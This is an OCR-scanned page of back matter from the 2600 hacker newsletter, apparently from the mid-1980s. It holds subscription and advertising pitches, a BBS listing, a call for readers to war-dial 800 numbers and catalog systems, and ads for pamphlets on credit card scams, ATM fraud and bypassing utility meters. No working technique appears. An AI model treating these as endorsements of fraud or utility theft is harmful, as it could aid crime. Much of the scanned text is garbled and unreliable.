FREEDOM INSURANCE:

® You'll get your very own copy at the same ALTERNATE TDENTITY Book, %10, Dealers
time of every month. Wanted' Survival Book list, $2. SUPER
@® You won't lose your eyesight trying to read g;ﬂﬂnég::i?tr ngrf:le;"}’ : i: 1“;3‘
small print that's been copied six times or more! Tet;!'rﬁr-oup, Box H?3124, P‘asaderl:ia, cA

® You'll be helping 2600 become financially 71109,

solvent, which will result in a better publication. Dual  Ci tPI 5 EI;.EP Dﬁtj;]s ST
® By getting more subscribers, we can keep the Frem: Whe Pr ot tunl ihe bt ExiteTiams
price of 2600 down—maybe even lower it! Info, $5. Repe Wanted info $2 extra.

OUR MAILING LISTS WILL NEVER BE SOLD,
GIVEN AWAY, OR LOOKED AT BY ANYONE OUT-
SIDE OF 2600.

Box 40201, Pasadena, CA %1104

Advertise in 2600
That's right, America’s #1 phone phreak/computer
hacker newsletter is now offering advertising! No, we
haven't sold out. As we have always stated, our
purpose is to bring phreaks and hackers out into
the open where their talents will be appreciated.
By providing advertisements, we keep you updated
on the latest technological toys and help defray

the costs of our publication.
2600 is read by people all over the world who are active
participants in high technology. Swarms of security
minded people also subscribe. If you want to reach this
select crowd, why not consider taking out an ad in the
newslefter they read? Call 516-751-2600 for more informa-
tion. We offer a 10% discount to subscribers.

The Private Sector Has Gone 10 Meg!

The official bulletin board of 2600 now has even more info
to share with our new 10-megabyte hard disk drive.
Access is open to alll We have the following sub-boards:

Telcom D Media/News Articles
BBS ng Telcom Questions
Telcom Electronics
Trashing Security
Compuiers & Networking

Call The Private Sector for the most interesting and
intelligent talk on telecommunications and compiters
that your modem will ever find!

Call Today! 201-366-4431 (300/1200)

Advertise in 2600!
Reach over 1,000 selective
readers—hackers, security
analysts, corporate spies,

private consultants, and
people who are just
interested in what's
going on.
Call 516-751-2600 for info.

Announcing The Great
800 Scan!

% % %

Right now, phone phreaks and hackers around the country are
calling thousands of 800 numbers in an effort to collect
information. Soon an amazing list of computers, voice mail
systermns, extenders, PBX's, test numbers, and service numbers
will be compiled! And you can be a part of this. Just:
* Pick your favorite 800 exchange (aooa(c-m
* Makes sure your exchange isn't already being
« Then dial away, faking note of what you find
and what area code you're calling from.

FOR MORE DETAILS
CALL OUR OFFICE AT
516-751-2600 AND
ASK TO SPEAK TO AN
800 SCAN COORDINATOR.

We will be keeping track of what has already
been mapped out. Remember, this activity is
FREE and LEGAL!!

“Wow, another bank machine!”

Attention Readers!

Demand for back issues has grown so much that we're in
the process of reprinting our entire inventory. As a result,
we’re going to be raising the price on back issues to $2
each. This is necessary to cover the time and expense
involved in doing this. However, our present subscribers
(vou) can still get back issues at the old price ($1) if your
order is postmarked September 15 or earlier.
BACK ISSUES ARE AVAILABLE FOR EVERY MONTH SINCE JANUARY, 1984
Send all requests to:
2600 Back Issues Dept.
Box 752
Middle Island, NY 11953-0762
(516) 751-2600
ALLOW 4 WEEKS FOR DELIVERY

EQUIPMENT
Security, Privacy, Police
Surveillance, Countermeasures, Telephone

BOOKS

Secret Reports, Forbidden Knowledge
[ 1 1]

SEND 510.00 FOR LARGE CATALOG AND ONE YEAR UPDATES

SHERWOOD COMMUNICATIONS
Philmont Commons
2789 Philmont Avenue Suite #108T
Huntingdon Valley, PA 19006

ATTENTION READERS'!

Last monmnth, Y o

receiwved an orange

postage—paid
sur-vey ocard.
Flease ill
anmnd mail it mMmow.-
We have received
many . but some of
vou have mnot vyet
sernt it ima
take the time to
+4ill it out, g
cam try to
accomodate yyour
Nmneceds
be able to hear
vour comments and
criticismd.
I yvyou wish to

whinmne and complain

at great length

sernd a letter that

iNncludes any
suggestions or
conments to:s
Box 9%. Middle
Island, NY
112925 —002% .

*hkkkkx INFO WANTED Hkxkk

Will pay reasonable price for:
® Telco service rep manual
@ Info on toll libraries
@ Library codes
® Remobs

Also would like to meet 2600 type people

in Chicago area

MR. THORHAMMER

P.0. BOX 8—STATION F

BUFFALO, NY 14212

it out

I+ wou

anmnd we will

Thanks.

2600,

Attention Readers!

2600 is always looking for information that we can passon
toyou. Whether it is an article, data, or an interesting news
item—if you have something to offer, send it to us!
Remember, much of 2600
is written by YOU. our readers.
NOTE: WE WILL ONLY PRINT A BY-LINE IF SPECIFICALLY REQUESTED
Call our office or BBS 1o arrange an upload. Send US mailto
2600 Editorial Dept.
Box 762
Middle Island, NY 11953-0762
(516) 751-2600

Attention Readers!

2600 is always looking for information that we can pass on

to you. Whether it is an article, data, or an interesting news

item—if you have something to offer, send it to usl
Remember, much of 2600

is writtan by YOU, our readers.
NOTE: WE WILL ONLY PRINT A BYAINE F SPECFICALLY REQUIESTED,

Call our office to arrange an upload. Send US mail to
2600 Editorial Dept.
Box 762
Middle Island, NY 11953-0762
(5616) 7561-2600

SHOCKING BOOKS!!!

CONSUMERTRONICS CO. - The National Clearing-
house for Technical Survival Information - Now
Offers Over 70+ Survival Publications on Electronics,
Computers, Energy, Weapons, Medical, Financial -
including:

( ) TONE DEAF (phones) ($7)

( ) TELEPHONE RECORDER INTERFACE (57)

( ) STOPPING POWER METERS (57)

) IRON GONADS (electric meters) (57)

) KW-HR METERS (515)

) RIPPLED OFF! (electric) (57)

) LIBERATE GAS & WATER (§7)

) GAS FO' ALL! (gas & diesel fuel) ($12)

) AUTOMATIC TELLER MACHINES (520)

) CREDIT CARD SCAMS (59)

) ABSOLUTE COMPUTER FILE SECURITY
(++ $1,000 Contest) (525)

( ) COMPUTER PHREAKING (515)

( ) TV DECODERS & CONVERTERS ($8)

( ) VOICE DISGUISER (58)

( ) ELECTROMAGNETIC BRAINBLASTER (525)
By John 1. Williams, M.S.E.E. (former NMSU CS Pro-
fessor) as seen on CBS "60 MINUTES", ABC Talkshows
- many morel! FREE 51 shocking SUPER-SURVIVAL

CATALOG {for all orders over 510. Please add $3
ship/hndl for your order.

Consumertfronics Co.
2011 CRESCENT DR., P. O. DRAWER 537,
ALAMOGORDO, NM 88310
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